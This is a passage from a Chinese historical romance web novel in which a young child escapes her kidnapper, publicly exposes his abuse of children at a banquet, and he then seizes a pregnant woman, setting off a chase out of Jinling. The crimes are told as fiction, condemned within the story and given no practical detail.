钱映仪两条腿蹭过冰凉的腰链,双膝都陷进了被衾里。渐渐地,便连眼睑下都浮着一抹潮/红,双手慌乱要抓点什么东西,摸索半晌只抓住了半片纱帐。 情浓至顶峰时,钱映仪尚且只来得及想——好端端地,他的鼻梁为何要生得那么高? 一再的柔韧冲击让她在潮热的夏末夜晚里湿了鬓发,整个人仿佛像是重新沐浴过一遍。 待再陷进被衾里时,忆起方才被逼着唤的一声声阿铮,与他低唤的一声声映仪,以及那些稍显直白的夸赞钱映仪蓦然蒙头钻进了被衾下。 “出来,”秦离铮去捞她,“就不怕热?” 钱映仪固执与他拽着被衾,“最热的时候都过去了,我不热。” 秦离铮摸着矮几上的杯盏饮了口薄荷水,晓得她时常会因此事羞一羞,便端正跪坐在她身旁等她憋不住了钻出来。 果真不过片刻,钱映仪便别扭钻了出来,握拳把他不轻不重锤一锤,二人闹过半晌,她方渐渐把呼吸平缓下来。 盯着头顶的帐子看了半晌,又转回梁溪照那件事上,“你说,官署那些衙役能在今夜寻到他们吗?” 这个秦离铮不敢说准话,他去请大夫时命手下去瑞王府搜了一圈,并没有梁溪照的身影,可见她并非是被瑞王带走。 他把她翻个身,手掌摁着她的后腰打转揉捏,“金陵城太大,大张旗鼓寻人也需要时间,多往好事上想一想,溪溪十分机敏,倘或是落在恶人手里,凭她那股劲,也指不定是谁吃亏。” 一语成谶。 梁溪照被关在黑漆漆的屋子里已不知过去多久,身上的衣裳已经换成了崭新的袍子,陈圆生哭累了,在一旁睡得正香。 有新衣裳穿,有佳肴享用,这样的日子在梁溪照大大的梦境里不知出现过几回,她向来十分喜欢。倘或没有被铁链拴住脚的话。 她被坏人拐了,就是先前撞见过的那个哥哥。爹爹晓得她不见了吗?几时会来救她? 梁溪照细细思索着,不自觉抹了把嘴上的血,不慎卷进口中,登时嫌弃连着“呸”了几口。 是的,鲜血,可这血不是她自己的。 温卓南在外头沉着一张脸,由小厮替自己上药,胳膊上一道血淋淋的伤口,连肉都被咬了小半块下来。 小厮借着上药的间隙道:“爷,外头有衙役在四处寻人,小的方才去取药时撞见了,那画像上画的正是爷新带回来的货。” 温卓南心头咯噔一声,“他们不是孤儿?” 小厮没应声。 温卓南一时慌神,眼风四下乱飞。俄延半晌,脑子里转出个主意来,“明日你拿着我的腰牌,出城去寻聚宝山寻舅舅,请他替我在城外寻个隐蔽的屋子,最好是在山野里。” “爷 不准备放了他们?” 伤口激起细细密密的疼痛,温卓南剜他一眼,“怎么放?你没瞧见那女娃娃性子有多烈?事还没办成就给我咬成这样!哼,放了她,由她去外头说,我这秘密还保得住?” 他拧一拧紧蹙的额心,道:“衙役寻人只是随意对付一下罢了,过几日没动静便不会寻了,且说府署还压着大案,这等小事不要几日就淡下去了,你只管去寻舅舅便是。” 小厮低眉顺眼应声。 温卓南垂眼盯着伤口,半晌目光又如毒蛇游向屋子那头,恶狠狠磨着牙关,“小小年纪,真够烈的,爷偏要使法子驯服你。”—— 作者有话说:梁溪照:[好的]治我?我小小年纪先收了你! 钱映仪:[求求你了]别这样搞,我遭不住。 秦离铮:你很喜欢。 第42章 蝉声渐弱,七月末一恍到来。距梁溪照与陈圆生失踪已过去四五日,因钱映仪与余骋刻意央求过的缘故,自府署派出搜寻的衙役还算仔细,家家户户叩门细问。 只可惜始终没有两位小童的踪迹,百姓们听了也只够眼往画像上瞧,旋即可惜道:“哎唷,多伶俐的两个孩子,这是遭了什么罪?” 百姓口里遭罪的梁溪照这时候正歪着小小的身子在屋子里打盹,晨间一束光透过窗柩扫在她红扑扑的脸颊上,她睡着时,卷翘的睫毛给眼睑盖住,遮蔽了她素日的狡黠。 “嘶嘶” 一阵极其细微的声音自屋子里响起,游过墙根,盘踞在一张四方桌下。 陈圆生这时候正醒着,并余下几个大孩子缩成一团,眼珠子浮着一层湿润,显然是才刚哭过。 听见动静,陈圆生空张着嘴,倏然伸出短手去拍其中一个大孩子,“哥哥哥,你听见了吗?是什么声音?” 那大孩子斜着眼四下窥瞧,目光往四方桌下一扫,登时骇目圆睁,“蛇是蛇!” 他急得要哭,“还是条毒蛇,我从前见过人被它咬一口,没两步就倒地不起了!咱们被锁在这儿,它它若游过来,咱们只有被它咬死的份!” 说话时吵醒梁溪照,她发蒙起来下意识唤了声爹,睁眼环视一圈,发现仍旧被关在这间漂亮屋子里,登时又有些烦躁,“怎么还在这儿!” 见陈圆生几个害怕缩成一团,她狐疑片刻,奶声奶气的声音响起,“做什么?” 陈圆生咽一咽口水,颤着手去指她身后,“溪溪蛇” 梁溪照发怔扭头去瞧,看清那蛇可怖的一张皮,也跟着缩一缩肩。 赶巧这时候外头渐起脚步声,小厮的声音渐起,“舅老爷使人来回了信,说是在山里找着了一间屋子,咱们把几个孩子洗干净,换件新衣裳,爷今日留家里陪小姐过生辰,现下不得空,等爷夜里过来,就一并趁夜出城转移,你们几个去外头再转一圈,打探打探衙役在哪,咱们尽量给避开。” “是。” 扇几回睫毛的功夫,声音由拐角传至门口。下一瞬,门被钥匙打开,露出小厮那张平平无奇的脸。他垂眼盯着屋子里几个孩子,倏而绽开一个笑,“乖,饿不饿呀?” 几个孩子只干瞪着他不吭声。 梁溪照倒十分给他脸面,猛然点头,“饿!哥哥,我饿!我想吃桌上那盘点心!哥哥,你拿来我吃!” 小厮低着眼瞧她,半晌扯出一抹嗤笑。以为这奶娃娃多大的能耐呢,原来只饿上一顿就老实了。 他蓦地上前几步,两条腿停在四方桌的桌脚旁,弯下腰身替梁溪照去拾那盘点心,“那你与哥哥说,吃了这点心,你会不会乖乖的啊?” 梁溪照紧紧盯着他两条腿,点头如捣蒜,“我会!” 小厮笑得洋洋得意,取了点心便欲抬脚,脚跟正离地,小腿外侧倏地传来一阵疼痛,他低鸣一声,垂着脑袋一瞧就神色巨变,“哪来的毒蛇!” 旋即一盘点心没拿稳,“啪”的一声砸碎在地,溅起四散瓷片。 小厮慌神中瞥见梁溪照得意的笑,登时明白是她刻意引他站在这,心头止不住地泛起凉意。 好个厉害的奶娃娃! 腿上渐渐发麻发胀,他一咬牙,暗道死也要拉个垫背的,大步一迈就要去掐梁溪照的身子! 谁知方走没两步,人倒头往地上一栽,哆嗦了一阵也没能再爬起来。那蛇想是几时从门缝里游进来的,也大约是个惯犯,咬了人立时便逃窜不见。 小厮这一跌,把腰上挂的钥匙给震到离梁溪照不远的地砖上。她乐得直拍手,浑然不顾小厮渐渐发紫的面色,够着钥匙了便先琢磨着把自己脚腕上的铁链给解开。 旋即是陈圆生与其他几个大孩子。 一朝得以施展拳脚,梁溪照铆足了劲往小厮脸上踢一脚,“坏人!让你绑溪溪,活该你被毒蛇咬死!” 动作间瞄到小厮怀里掉出块四四方方的牌子,她拾起来一瞧,这字正好认得,“温?” 陈圆生绞着脑汁也想不明白这是何意,倒是其中一个大孩子拍了拍脑袋,微张着嘴恍然道:“这人一瞧就是给贵人打杂的,我听人说门户里的下人都有腰牌,温姓温” 他半阖着眼细细思索,脑子里灵光一现,忙不迭开口,“我晓得了!我晓得了!是那个温家!整个应天府就那一个温家!家里有个大官是什么侍郎,几个月前他家还办过什么热闹,我领着一班弟弟妹妹去他家后门捡过人家不要的吃食呢!” 梁溪照这时也猛然想起温宁岚。岚姐姐也姓温,就一个温家那岚姐姐同这个坏人是什么干系? 赶巧此时陈圆生颤巍巍抬手道:“外头不知还有没有坏人守着,咱们怎么逃出去?” 梁溪照闪了闪狡黠的眼,立时打定主意,“溪溪认得温家姐姐!她最是喜欢溪溪,时常做爹的生意,这坏人定然与她不是一伙的!才刚不是有人说坏人在家里替小姐过生辰?定是岚姐姐的生辰!” “溪溪满四岁时,还请了不少小朋友一块儿耍呢,岚姐姐家今日定然十分热闹!” “岚姐姐只怕不晓得我是被坏人给绑了,”她小小的拳头握得紧紧的,眼底游着坏兮兮的光,“听溪溪的,咱们冲去这什么温家!溪溪要当众揭开那坏人的真面目,让当官的收了他!” 没几时,梁溪照铆足了劲冲出门,四下张望一眼,见只剩个看门的小厮远远望风,忙尖叫一声,“蛇!蛇咬死人啦!” 那小厮闻声脸色一变,连她为何出现在廊下都来不及细想,凑过来蒙头打转,“蛇在何处?咬死了谁?” 躲在暗处的孩子们忙一把将他掣进屋子里,动作迅速,待那小厮回过神时,已反过来被几个孩子锁在了屋子里! 梁溪照拼着一口气笑,短手一抄,登时喊道:“拿上腰牌,都跟着溪溪走!” 那几个大孩子唇角有伤,明显也五内淤火,一抄棍子便扯开嗓子嚷,“揭发他!揭发他!让他下狱去死!去死!” 这厢暂且摁住不表。 且说那温家究竟给哪个小姐办生辰宴呢?自然是温辛妍了。 温家的请帖早在两日前就下到了钱家,那时丫鬟把请帖奉上,钱映仪同钱玉幸两个正陪着任郁青乘凉。 钱玉幸打从上回起就十分不喜温太太,连个 正眼都没扔过来,瘪着唇道:“岚岚过生辰时,我可听说她只草草了事,怎么说也是一家正儿八经的太太,连碗水都端不平,我不去。” 钱映仪笑吟吟搭腔,“姐姐不去,我也不去,我还琢磨着把岚岚给叫来家里呢,温太太这回应当是预备暗自替温辛妍挑个家世门当户对的年轻官人做夫婿。” “成,”钱玉幸是个直性子,当即向丫鬟招招手,“寻个由头去回了温家的下人,再令使两个人去温家请温三小姐,就说请她来家里吃茶。” 那丫鬟正要去,碰上许珺领着几个婆子过来,三言两语问了话,许珺立时把眉轻攒,先摁住丫鬟不让走,继而坐在三个小辈中间,不赞同摆摆头,“我记着映仪生辰宴时,温家人是来咱家走动过的,这回轮到温家,怎好人不去?” 她道:“我晓得你们都不喜欢那温太太与她一双儿女,我也不大喜欢,可咱们家也不好落了口风让人家去说,你们说是不是?” 任郁青一惯爱细想,但见她端出个笑,“婶婶说的有道理,正巧我也没那般难受了,就当是陪我出门透透气。” 因此今番天光大亮,钱映仪便收拾得伶伶俐俐的,穿着新裁的褶裙,同姐姐、嫂嫂一并辗转往温家去。 太阳渲染着车影,照进车帘里是微黄色的光束,约莫两刻钟便到了温宅大门外。 钱映仪最后一个下马车,见秦离铮递来胳膊,她一手捉裙,一手顺势搭上。 趁姐姐、嫂嫂都在前头,搭在他胳膊上的手转去他的腰间,小声道:“我想喝这巷子后头的豆花与茉莉饮,你先去买,买过了再进宅子里寻我,今日人多,我少不得要多说话,不大想吃茶。” 秦离铮暗勾她的指尖,眼里蕴着温柔的笑,“好。” 两个悄悄说过话,这头温家的丫鬟已笑着引路。钱映仪轻步跟上去,走在钱玉幸身后,便听那温家的丫鬟一面道:“今日太太请了许许多多的少爷小姐,把筵席摆在水榭里,请了外头的乐师抚琴,还请贵人们舒心起来好好地耍一耍。” 钱玉幸瞥着温宅,嘴上敷衍应了声。 任郁青头一回来温宅,倒是新奇,一双翦水秋瞳四下瞧一瞧。行过大花园,过了廊角往水榭去,她便远远瞧见了一道穿粉色褶裙的身影,轻问,“那便是你家今日过生辰的温二小姐?” “是是是,奶奶眼神真好,”温家的丫鬟笑着点头,“二小姐今日正过十九岁生辰哩。” 半晌行至水榭外,与人逢迎的温太太循声扭头望来,一见钱玉幸便绽开个笑,忙不迭过来一通说话,一时说上回令钱玉幸提前离席是个误会,一时又见钱玉幸仔细呵护着任郁青,便连着两个上下夸赞一通。 说话的功夫,自另一头又行来两道身影,赶巧停在那温辛妍身边,钱映仪够眼一瞧,天老爷,好稀奇!那两人竟是燕如衡同范宝珠! 怪哉 钱映仪许久不曾见过燕如衡,不想他竟连周身气质都转变了,脸依旧是漂亮至极,只那唇畔凝着的笑意十分古怪,说是温柔,却又带着点嘲讽。 她细细瞧着,见那三人正站在一处,范宝珠端着笑与温辛妍说话时,温辛妍神色平平,仿佛还隐有嫌弃。 反倒轮到燕如衡开口,温辛妍便抿着唇,稍稍垂下一张施妆傅粉的脸,可如此一来,那范宝珠的笑又渐渐敛了。 “映仪,你是不是也觉得奇怪?”身后蓦然响起两道嗓音,原来晏秋雁同温宁岚一左一右出现在钱映仪身后。 钱映仪环视一圈,眨眨眼,两三下得出结论,“今日来的可都是些脸熟的门户,燕大人同范宝珠大庭广众之下一并来向温辛妍祝贺,莫不是” 这一幕于钱映仪而言有些似曾相识,垂着视线想了想,恍然忆起在秋雁生辰宴时,自己同燕如衡亦是如此,不过那时她没开窍,现在细细想来 她了然点点头,语气笃定道:“他二人是不是要议亲啦?” 晏秋雁瘪一瘪嘴,“是,你可还记得范大人?我还奇怪呢,先前说是病难治,又说范大人清廉,拿不出什么银钱来治病,这才一拖再拖,今晨我在家用早膳时,爷爷竟与我讲范大人的病彻底好了,昨日起就回工部上值了哩。” 她露出个神秘莫测的笑,“我猜,或许是燕大人的爹,咱们应天府府署的一把手使了妙计,向范大人施以援手了。” 换作从前,依照晏秋雁的性子,在知晓燕如衡从前是爱慕钱映仪、如今却又与范宝珠走到一处时,定然要啐上一口! 可她生了双慧眼,早早便瞧出钱映仪与身边的侍卫有些说不清道不明的东西,便也止住了这样的想法。 晏秋雁方才的话说得半明半隐晦,钱映仪虽不喜在背后同人嚼这些琐碎的东西,却也跟着笑了笑。 不为别的,就是小小的一颗心在替爷爷高兴。 她就说今日晨起时瞧见爷爷出门的步伐怎地如此轻快哩,原来是范大人好了,那爷爷暂代范大人监督造船的公务也可停住,各归其职,爷爷转眼又轻松不少囖! 丫鬟安排好席面便来请几人转进水榭,任郁青觉着头顶这片暖阳照在身上十分舒坦,便提议再在水榭外站一站。 钱映仪迈出的脚便又收回来,干脆高高兴兴搂着好友讲话。 晏秋雁遥望燕如衡那头,渐渐地淡了丝笑容,眼眉隐有忧愁,“瞧见三哥哥我就想起燕姐姐,听说还没寻到她,也不知她如今在何处” “找不着才好呢,”温宁岚搭腔,“这都多久了,我听说蔺太太又使人去府署闹了两回,恨不能从地里揪出燕姐姐的人,扒她的皮,喝她的血,那蔺玉湖本也不是什么好东西,燕姐姐能有什么大错?何至于此。” 这头说得正起劲,三人的目光不由得往燕如衡多停留了片刻,燕如衡自然是察觉到了。 他留神那抹曾日思夜想的身影,怔了片刻,旋即感觉到衣袖被范宝珠轻轻拽了一下,这才遮蔽住眼底的自嘲,扭头冲范宝珠微微一笑。 燕蔺两家因长姐失踪一事没日没夜地闹,娘每日止不住地攥着帕子哭,爹的性情益发急躁,誓要压过蔺家一头,手已伸向了南直隶六部。 拉拢了温涧舟还觉得不满足,见他不肯再接近钱映仪,又不知打哪知晓范宝珠爱慕他,遂使他故技重施,把范宝珠给兜揽住。 燕如衡觉得实在可笑。好像在燕榆看来,他因生了副得女人喜爱的容颜,就能把女人玩弄于鼓掌,实际并非如此,他算什么?不过是被家族拖着走的木偶而已。 敛起心神,燕如衡又不动声色朝钱映仪那头望了一眼,面上无甚情绪。 仿佛只是他单方面地跳出围绕在他身边的腐烂世俗、跳出耳畔传来的那些声音,被她一惯的纯粹感染,也纯粹地看一看她。 继而与范宝珠分离,自顾寻到男席,坐到了温卓南身侧。 温卓南正同人吃酒呢,见是他,忙招呼一声,“三郎,快,来小酌一杯。” 燕如衡扯了扯唇,低声附和。 这厢钱映仪倚着池子旁的石栏,握着温宁岚几个指头揉捏,问,“温卓南同温辛妍有没有再欺负你?” 话音甫落,她倏然想起一事,悄声往温宁岚耳畔说了两句话。 温宁岚睁圆了眼,“噗嗤”一笑,“原来他那回的伤是你弄的!我说那几日他走路姿势总有些不大对呢,你身边那叫林铮的侍卫当真是厉害。” 说的正是钱映仪扮江湖人士戏耍温卓南同那俞敏森等人的事。 女孩子家凑在一处避不开聊些彼此的事,温宁岚举着稍显暧昧的目光望一眼钱映仪,问,“别以为我与雁雁瞧不出来,你很喜欢他,是不是?” 温宁岚说这话时把嗓音放得低低的,钱映仪闻声“哎呀”一声,轻轻捏她的胳膊肉,不好同她去议论这个,赶巧鼻子嗅到股极浅的味道,便把话岔开,“别说我了,岚岚,你这几日出门不曾?可有留神外头有没有溪溪的踪迹?” 温宁岚也是通过奶妈妈的嘴里听闻有衙役在寻两名小童,细细一追问,得知其中一个是梁溪照,亦是心惊胆颤。 她摇摇头,嗟叹一声,“出门倒是出了,也照着她一惯爱去的地方去碰了碰运气,没找着。” 钱映仪跟着一起叹,正要再说话,忽然把眉轻攒。 “这是什么味儿?” 她鼻翼耸动片刻,不确定问,“雄黄?” 温宁岚神秘一笑,拢着她与晏秋雁在跟前,窃窃道:“温卓南时常摧残我的花,我烦透了,便 使着雄黄把他喜欢的东西全给毒死了,他如今日日都被我气得不轻呢。” 钱映仪讶然,叹她改了性子,半开玩笑道:“你还真是条“毒蛇”呀!” “毒蛇!毒蛇!有毒蛇!” 水榭外蓦地传来一阵骚动,几个高矮不一的身影猛然窜进来,带着稚嫩的童声,高喊道:“有毒蛇!有毒蛇!” 钱映仪一顿,透过同样被惊住的人群够眼去瞧,认出领头的奶娃娃是梁溪照,登时惊在原地。 溪溪怎会出现在这儿! 不止溪溪,还有那陈圆生竟也跟在后头,身后是几个年岁稍大些的孩童,皆穿着上好的袍子,浑身都干干净净的。 梁溪照气吁吁在席面上钻来钻去,后头是温家的小厮丫鬟在追,一面喊着:“嗳!你们是谁,不许扰乱筵席!” 梁溪照生来机敏,左右暗窥几眼便知这水榭里坐着的都是贵人,便打头阵往那些美妇、小姐的裙摆旁钻。 如此一来,那些追逐在身后的小厮同丫鬟一概止步,硬生生被逼得留在原地。 孩童自有编造童谣的本事,梁溪照小小年纪已识得不少字,又背得三百多首诗,她笑嘻嘻钻出一个美妇的裙摆,便一扯嗓子喊道: “温家子,好没脸,把个娃娃当宝捡;左脚锁,右脚锁,娃娃苦求亦无果;心机深,谎言深,虚假毒蛇钻娃身;问苍天,可怜见,毒蛇真身把恶灭!” 她一径往前跑,往前钻,后头几个娃娃也跟着一去重复唱着这首童谣。 女席这头的太太与小姐惊骇得把嘴轻张,有些小姐涉世未深,站起身来往几个孩子的背影上瞧,低声问自家母亲,“娘,这童谣是什么意思?” 那太太回想童谣的内容,由第一句开始咀嚼起来,到第三句时顿觉不对,渐渐地,像是猛然给棒槌敲一记,霎时起身跟着望去!这童谣里唱的哪是什么假毒蛇,分明是男人的那档子东西! 不止这位太太,其他门户里的太太们也逐渐回过味来,震惊之余复又想起那“钻娃身”,哪里还有什么不明白的? 有的太太年纪较轻,膝下亦养着几个五六岁的小娃娃,嚼出这童谣是何意味、又代指的是谁,一时都有股说不出的怒意淤在心头,眼睛登时蹿着火,一振袖摆就跟上了那几个孩子! 梁溪照左右乱扭,披散在脑后的发像她身上长出来的胜利旗帜,迎风舞动,鼓舞了所有同伴的士气。 她一脚跨下木梯,一路大喘着气,穿过层层山水屏风,没几时在男席尽头寻到温卓南的身影。 她忽然一把抓起筵席上的青玉碟,铆足了劲往前奔,旋即深深吸气,一把将青玉碟狠掷向温卓南,稍显尖锐的童声高声大喊,“溪溪打死你!打死你!你这条毒蛇!” 那几个孩子有样学样,忙不迭就抓起杯盏、瓷碗,尽数向温卓南砸去。 燕如衡离得近,不防被砸中肩头,立时把额心轻拧,果断离开原地。 这一退,便再没谁遮挡温卓南的视线,先前女席那头引起一阵骚乱,念着什么“毒蛇”,他听得模糊,这厢脑门被砸中,抬手摸了摸,见半个掌心都是血,登时大怒,顾不得那句童声由何而来,忙掀眼去瞧—— 这一眼,他便如遭雷击呆在原地。 好好的人怎地全跑出来了! 温卓南心下陡然惧怕起来,眼风止不住地四下乱瞟,一时瞟见紧随其后的小厮,忙厉声道:“哪儿来的几个小娃娃,不知来路的人也敢放进来,你们眼睛是当什么使的!还不快赶出去!” 那几个小厮忙要上前拉拽几个孩子。 偏巧孩子们惯会有样学样,见梁溪照笑嘻嘻寻了位贵人的身后躲着,皆是忙不迭地跑去离自己最近的贵人身后。 旋即几个孩子互相交换过眼色,声音再度拔高,整齐划一念着那首童谣! 男席这头死寂得近乎可怕,所有男客在听清这童谣里的内容后,登时是神色各异盯着温卓南瞧。 温卓南的满腔愤怒在察觉到他们的变化后蓦然转变为一股深深的恐慌。 他坐在原地没动,咽了咽口水,勉强挤出个笑,“谁许你们胡乱编造这些的?小小年纪为何要乱说话?” 梁溪照气不过自己被绑这么久,一个猛子踩上筵席的桌面,小脚一跺,唱戏似的把胸脯一挺,指着温卓南道:“你你你你你,你这条毒蛇,敢做不敢认,你锁我的脚,使我换衣裳,还要欺负我,你为何不敢认?!” 旋即眼珠子一转,望向水榭里的所有人,高喊,“溪溪从不撒谎,他左边胳膊被溪溪咬了小块肉去,是真是假,一瞧便知!” 男席这厢维持沉默的时间实在太久,久到温卓南心底那股怒意又“噌”地往上窜,连耳后都渐渐蔓延出大片红点。 赶巧这男客里头,正有温卓南昔日的同窗,那少爷摆出一副看戏的姿态,讥笑道:“哟,这样大的事情,温卓南,你怎敢做的?且不说你知法犯法,这几个娃娃才多大?你可对得起你的良心?对得起府学教谕昔日的教导?” “我没有!”温卓南双目涨红,“你休要胡说!” 那少爷瞥着燕如衡,笑得更没脸没皮,“咱们这班同窗里,不正有个青天大老爷?方才还正与你推杯换盏呢,三郎,你不帮着审一审?是真是假,把温卓南的袖子撩起来瞧一眼就晓得了,若没有,就是这几个孩子扯谎,若有” “倘或我没记错的话,在本朝律例里,圈禁幼童欲施暴行,是要掉脑袋的吧?” 梁溪照一听十分高兴,那几个遭受过温卓南毒手的孩子也为自己要亲手报仇而感到兴奋,几个孩童又一并钻出来,一口喊着,“掉脑袋!掉脑袋!” 话音甫落,梁溪照眼尖瞧见匆匆赶来的钱映仪与温宁岚,眸色一亮,忙不迭跑过去,行走间如在自家宅子一般。 待离得近了,她便把二人一起抱着,洋洋得意道:“映仪姐姐,岚姐姐,溪溪对付了坏人,溪溪厉不厉害!” 钱映仪同温宁岚皆是心神俱震,忙捉着梁溪照四下窥扫。 而水榭这头,那忿然跟过来的几个太太正好行至男席所在的水榭外,遂接过先前那少爷的话喊道:“正是!温大少爷,这几个孩子究竟是不是撒谎,只需你自证一番便可!” 温卓南已然压制不住体内的躁动血液,额上的伤口裂出鲜血,碎落在袍角的瓷片映着他僵硬无比的脸。 他能听见,周遭的所有人都在等着他回答,四处沉寂得仿佛透着一股朝他索命般的死气,他知道,他的一切都没了。 他缓缓撩起眼,逐一扫视众人,面对如同剥光衣裳的这些——耻笑、蔑视、厌恶、怒视、惧怕的眼神。 掀起衣袖?让人瞧见那道伤口,他这辈子就算完了。他的替考筹谋被阻拦,用以宣泄情绪的秘密被公之于众,不消半个时辰,待筵席散去,整个金陵城皆能把赤/裸的他瞧一眼。 他要下狱,他要掉脑袋,即使爹官任南直隶吏部侍郎,这么多眼睛瞧见,这么多的门户他没有活路。 温卓南的目光又掠向以梁溪照为首的几个孩子,渐渐地,越过他们,去瞧待在钱映仪同温宁岚身边的梁溪照。 这女娃娃何时同温宁岚认得的? 还有钱映仪。 钱家 不过丢失个孩子,官署怎会大张旗鼓去寻?钱映仪的姐夫身为江南巡抚,时常在官署待着,倘或钱映仪发觉这女娃娃不见了,央着姐夫帮忙去寻 温卓南沉 默垂下眼,遮蔽眼中阴鸷。 原来如此,原来如此。 既他活不成了,那就一起死! 但见他蓦然暴起,一个飞身跃出水榭,眨眼的功夫到了钱映仪身前,抬手便欲抓她与温宁岚。 众人被这突如其来的变故搅得心跳有短暂地停歇。 钱玉幸见状大惊失色,忙解下腰间软鞭挥向他的手,厉声道:“大庭广众之下你还敢动手,看来是坐实了这童谣了!畜牲!看我不拿了你去问官!” 没有秦离铮这样的高手在,温卓南的身手实在算不上差,他一记翻身躲开钱玉幸的软鞭,错眼间发觉一旁站着个怀胎的女子,望向自己的眼神惊惧不已。 四目相对的那一刹那,她又仿佛拿脏似的挪开眼,不停抚着肚皮往后退。 他蓦然像被那眼神狠狠扎了下,想起这妇人是谁,与毁了他的钱家是何关系,顿时阴笑两声,回身一躲开钱玉幸便直奔她而去! 是的,在温卓南心里,若非钱家掺和这一脚,他如今还好好坐在水榭里推杯换盏,何至于下一刻就要惶惶等死?眨眼的功夫,他已带着滔天的怒意恨上了钱家。 整个人已然失去理智。 任郁青大惊失色,下意识要尖叫出声,不防温卓南的动作实在太快,下一瞬,她就被温卓南卷住身,整个人双脚离地,腾空往屋檐上飞! 风声陡然变得刮耳,里头杂糅着温卓南凄厉的狂笑,“死前能拉两个垫背的,一尸两命,也不枉我活了这么多年!钱家同这女娃娃认得,爱多管闲事是么?那爷就杀了你钱家的儿媳与后代,一并与爷陪葬!” 旋即摁紧任郁青的身子,一展而逃! 钱映仪与钱玉幸脸色大变,立时铆足了劲往外追,“嫂嫂——!” 那温涧舟与温太太、温辛妍到此刻才醒过神,温太太心神巨颤,一时遭受不住晕了过去。 温涧舟想起温卓南卷走的是谁,更是生出惊涛骇浪般的惶然,已然顾不上满宅子的宾客,嗓子一嚎便厉声喊道:“侍卫呢!小厮呢!还不快给我追!追回这孽障,追回钱家少奶奶!快!” 他自己骇得双腿发软,也止不住要保住肩上这颗脑袋,忙提起心神就拔脚往外头跑去。 温卓南飞出宅子后便随意解了辆马车,手风往马夫后颈一劈,旋即把任郁青一把塞进去。 他动作极快,把车帘下头的两个角紧紧勾在木板下,冷笑一声,立时驭着马车往聚宝山的方向赶。 哼,想让他死?做梦!舅舅占山为王,往江湖上收了几百号人在麾下! 他怎会不晓得有人在身后追?他就是要引他们过去,有舅舅在,他还死不了!他反倒要借舅舅的手杀了他们! 大不了日后亡命天涯!也好过立马就掉了脑袋! 马车被他驭得十分颠簸,又快又急,一路直往正街上冲。 秦离铮正提着豆花踅回来时,正捧上钱映仪狂跑而出,神情急得要哭,他脸色一变,忙赶过去追上她,“映仪!” 钱映仪一见他,攀着他的胳膊急得直跺脚,眼眶里的泪说砸就砸,“嫂嫂!嫂嫂被温卓南挟持了!” 她已然有些说不清前因后果,秦离铮心中咯噔一声,立即把豆花一扔,旋即挥剑斩断一辆马车上的缰绳,揽着她的腰一个翻身上马。 他一面快速搜捡百姓的神情断定温卓南往哪个方向去,一面猛夹马肚,马蹄霎时疾速奔跑起来。 钱玉幸亦果断上马,紧随其后。 簌簌风声刮得钱映仪的耳膜生疼,大约是有秦离铮在,她稍稍安心了丁点儿。 趁着还能说出完整的话,三言两语便把事情的始末交代清楚,哭道:“再快点,再快点,嫂嫂还怀着团姐儿,那温卓南丧心病狂,她万不能有事!” 秦离铮猛然把她的身子往下压,风声里杂糅着他的声音,“抱紧马脖子!” 想到任郁青怀胎已快八月,被这一惊吓不知到底会如何,秦离铮咬紧牙关,一面驭马往前追,一面往怀里摸出几枚信号弹。 “噌”地一声,专用于锦衣卫上下级联络的烟火就绽开在空中。 往后每隔半截路,空中便绽响一次。 远在河岸的褚之言正悠哉听着小曲儿,听见这声动静登时一改神色,忙不迭一跃出窗,飞檐走壁,掏出哨笛一吹,河岸登时多了好些身影,尽数跟在他的身后一并往秦离铮的方向赶! 这厢温卓南驭的马车实在太颠簸,任郁青又被点了哑穴,只能拼尽全力护着自己的肚子,心中止不住地祈祷出城时,温卓南能被驻守的兵马司给拦住。 偏巧温卓南走的聚宝门,此处较为偏僻,南城兵马司便稍显懈怠,温卓南刻意绕了半截路。 到聚宝门下时,任郁青急得用双脚去踹车壁,大约是温卓南时常出城,那府兵认得他的脸,只随意问了两句他额上的伤势,便放了他出城。 任郁青一颗心猛然往下沉,下颌止不住地发抖,正要害怕得六神无主时,猛地把舌尖一咬,整个人刹那间冷静了下来。 无论如何,她得活着,她一定得活着! 而秦离铮驾马疾速驶向聚宝门,那府兵远远瞧见便斥问,“何人敢在金陵城内策马,不要命了?还不速速勒马!” 秦离铮没停,反而使马儿跑得益发快,反手往怀里掏出锦衣卫指挥使的腰牌高悬,那府兵一眼瞧见锃亮的牌子,隐约瞧见上头大大的“锦衣卫”三字,虽有些发蒙,却还是忙开了城门。 出了城,尘埃乱舞,马车的踪迹便好寻了。 一路咬紧牙关往前赶,总算隐见那辆马车,秦离铮紧紧盯着前方,嗓音透过风声冲进钱映仪的耳朵里,“你会骑马,是不是?” 钱映仪忙不迭点头。 秦离铮抚着她脑袋的掌心透着一股安心的意味,他道:“待会离得近了,我会跃下马去解决他,你独自坐在马上不要怕,明白了吗?” “只要能救下我嫂嫂,我不怕!”钱映仪忙支起身子,也跟着死死盯着前头那辆马车,两只手已不自觉握紧缰绳。 越接近聚宝山,路径越是颠簸,眼见离得越来越近,秦离铮找准时机,正欲翻身一跃,前头那温卓南好似背后长了双眼睛似的,忙扯着嗓子喊,“舅舅!速速出来救外甥性命!” 片刻的功夫,不远处紧密相邻的一排房屋里出来好些道身影,为首那人生得斯斯文文,不主动去问,压根瞧不出是个混迹江湖的高手! 正是温卓南名义上的舅舅,名唤袁三。 温太太年轻时出城玩耍,赶巧救过这袁三的命,袁三倾心于温太太,温太太却嫌他不是官身,可又想收他为自己所用,便打着结拜的幌子,做了一对异性兄妹。 因爱慕温太太,袁三对她的一双儿女也是爱屋及乌。 此番见温卓南顶着一脑门的血,身后还有人在追赶,登时气势汹汹招呼了二三十来号手下,一波人直直就持刀冲了过来! 秦离铮见状紧拧着额心,一个翻身跃向马车顶,双臂一攀,作势便去猛踹温卓南。 温卓南肩背狠受一脚,手上一歪,马车左右乱晃一阵,半晌才稳下来。 深知自己驭着马车受限,温卓南望向已快赶至身前的袁三同那二三十来号高手,一咬牙,便使劲一拉缰绳,旋即在马车还没停稳时一个翻身落地,喊道:“舅舅,这帮人要害我的性命,快替我杀了他们!” 那群高手自然立刻一窝蜂涌上,为着不惊扰任郁青,秦离铮飞快拔剑解决掉一人,使这些江湖人士都冲着自己来。 钱映仪急得要命,好容易跌跌撞撞下了马,忙拔腿往马车里钻。 钱玉幸也在此刻竭尽全力赶来,跟着钻进了马车查探任郁青的情况。 那温卓南眼尖瞧见,面色已近乎狰狞,取了袁三腰侧的刀便朝姐妹两个奔来。 